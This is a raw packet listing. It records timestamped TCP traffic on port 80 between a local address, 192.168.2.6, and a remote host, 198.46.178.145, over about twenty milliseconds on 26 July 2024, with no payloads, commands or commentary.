Jul 26, 2024 11:27:06.343573093 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.343588114 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.343599081 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.343602896 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.343614101 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.343622923 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.343631029 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.343640089 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.343657970 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.343786001 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.344049931 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.344083071 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.344254971 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.344264030 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.344273090 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.344280958 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.344295025 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.344309092 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.344314098 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.344314098 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.344322920 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.344332933 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.344340086 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.344347000 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.344362020 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.344372988 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.344377041 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.344384909 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.344397068 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.344403982 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.344413042 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.344419956 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.344430923 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.344435930 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.344449043 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.344454050 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.344461918 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.344469070 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.344485044 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.344491959 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.344504118 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.344512939 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.344526052 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.344531059 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.344541073 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.344547987 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.344559908 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.344564915 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.344578028 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.344582081 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.344594002 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.344598055 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.344605923 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.344613075 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.344624996 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.344630003 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.344641924 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.344647884 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.344657898 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.344662905 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.344675064 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.344681025 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.344690084 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.344816923 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.345170975 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.345180988 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.345190048 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.345201969 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.345211029 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.345222950 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.345227003 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.345237017 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.345243931 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.345252037 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.345262051 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.345268965 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.345276117 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.345298052 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.345479012 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.345488071 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.345501900 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.345506907 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.345521927 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.345532894 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.345532894 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.345541000 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.345549107 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.345557928 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.345566034 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.345576048 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.345590115 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.345613003 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.345674992 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.345684052 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.345817089 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.345827103 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.345833063 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.345841885 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.345849037 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.345856905 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.345866919 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.345875025 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.345886946 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.345900059 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.345905066 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.345915079 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.345921993 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.345932007 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.345940113 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.345952034 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.345957041 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.345967054 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.345974922 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.345987082 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.345992088 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.346002102 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.346007109 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.346019030 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.346210003 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.346272945 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.346281052 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.346296072 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.346309900 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.346316099 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.346316099 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.346329927 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.346343994 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.346349001 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.346349001 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.346358061 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.346369028 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.346376896 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.346383095 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.346395969 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.346400976 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.346409082 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.346416950 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.346431971 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.346468925 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.346477032 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.346482992 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.346496105 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.346502066 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.346523046 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.346582890 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.346707106 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.346715927 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.346729040 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.346740961 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.346745014 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.346752882 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.346769094 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.346777916 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.346785069 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.346795082 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.346801996 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.346815109 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.346820116 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.346827030 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.346836090 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.346847057 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.346851110 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.346862078 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.346867085 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.346879959 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.346884012 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.346894026 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.346904993 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.346915007 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.346915007 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.346921921 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.346931934 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.346949100 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.347141981 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.347157001 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.347166061 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.347173929 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.347182989 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.347194910 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.347203970 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.347209930 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.347220898 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.347227097 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.347248077 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.347306967 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.347316027 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.347327948 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.347338915 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.347346067 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.347354889 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.347361088 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.347373962 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.347378969 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.347392082 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.347399950 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.347412109 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.347417116 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.347429037 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.347433090 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.347440958 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.347450018 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.347461939 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.347466946 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.347480059 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.347484112 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.347492933 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.347501040 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.347511053 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.347517014 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.347527981 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.347532988 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.347546101 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.347551107 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.347564936 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.347568989 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.347578049 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.347585917 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.347598076 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.347601891 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.347611904 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.347619057 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.347629070 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.347635031 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.347646952 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.347729921 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.348229885 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.348238945 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.348247051 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.348261118 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.348269939 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.348279953 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.348284960 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.348294020 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.348299980 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.348306894 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.348320007 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.348325968 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.348336935 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.348347902 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.348352909 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.348366022 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.348370075 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.348376989 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.348386049 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.348392010 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.348400116 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.348412991 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.348417044 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.348427057 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.348509073 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.362932920 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.362978935 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.362987041 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.362996101 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.363008976 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.363025904 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.363120079 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.363127947 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.363137960 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.363147020 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.363157988 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.363169909 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.363174915 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.363183975 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.363190889 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.363219023 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.363265991 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.363275051 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.363284111 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.363291025 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.363303900 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.363317966 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.363322020 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.363339901 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.363362074 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.364383936 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.364398956 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.364418983 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.364444971 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.364453077 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.364459038 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.364473104 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.364500046 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.364504099 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.364530087 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.364646912 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.364684105 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.364717960 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.364752054 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.365751982 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.365766048 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.365786076 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.365812063 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.365819931 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.365825891 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.365839958 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.365855932 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.365865946 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.365869999 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.365885973 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.365910053 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.365928888 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.365936995 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.365963936 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.366022110 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.366030931 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.366048098 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.366067886 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.366090059 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.366099119 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.366112947 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.366122961 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.366131067 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.366131067 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.366146088 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.366163015 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.366163015 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.366170883 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.366235018 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.366242886 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.366256952 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.366262913 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.366274118 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.366277933 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.366297960 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.366297960 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.366369963 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.366379023 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.366388083 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.366396904 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.366409063 CEST	80	49741	198.46.178.145	192.168.2.6
Jul 26, 2024 11:27:06.366421938 CEST	49741	80	192.168.2.6	198.46.178.145
Jul 26, 2024 11:27:06.366422892 CEST	49741	80	192.168.2.6	198.46.178.145
